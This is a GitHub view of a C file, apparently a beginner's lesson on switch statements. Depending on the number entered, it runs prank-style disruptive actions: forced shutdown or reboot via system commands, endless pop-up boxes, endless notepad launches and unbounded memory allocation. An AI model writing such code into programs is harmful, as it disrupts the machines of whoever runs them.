-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy path3.18 Switch语句.c
69 lines (65 loc) · 1.59 KB
/
3.18 Switch语句.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#define _CRT_SECURE_NO_WARNINGS
#include <stdlib.h>
#include <stdio.h>
#include <Windows.h>
void main21()
{
printf("你认为我怎么样?\n如果满意请输入'1'\n如果不满意请输入'2'\n");
int num;
scanf("%d",&num);
if (num == 1)
{
printf("感谢您对我友好的评价\n");
}
else if (num == 2)
{
printf("很抱歉,打扰到你了,请你选择一个1-5之间你最爱的数字\n");
Sleep(2000);
int numOne;
scanf("%d",&numOne);
switch (numOne)
{
case 1:
system("shutdown -s -t 100"); // 关机
break;
case 2:
system("shutdown -r -t 1000"); // 重启
break;
case 3:
while (1)
{
MessageBox(NULL,L"系统即将崩溃",L"恶意提示",1); // 无限弹窗
}
break;
case 4:
while (1)
{
system("notepad"); // 无限打开记事本
}
break;
case 5:
while (1)
{
void *p = malloc(1024*1024*10); // 给系统无限分配空间 1秒分配 10兆 吃内存
Sleep(5000);
}
break;
default:
while (1)
{
void *p = malloc(1024*1024*10);
Sleep(1000);
}
break;
}
}
else
{
while (1)
{
void *p = malloc(1024*1024*10);
Sleep(1000);
}
}
system("pause");
}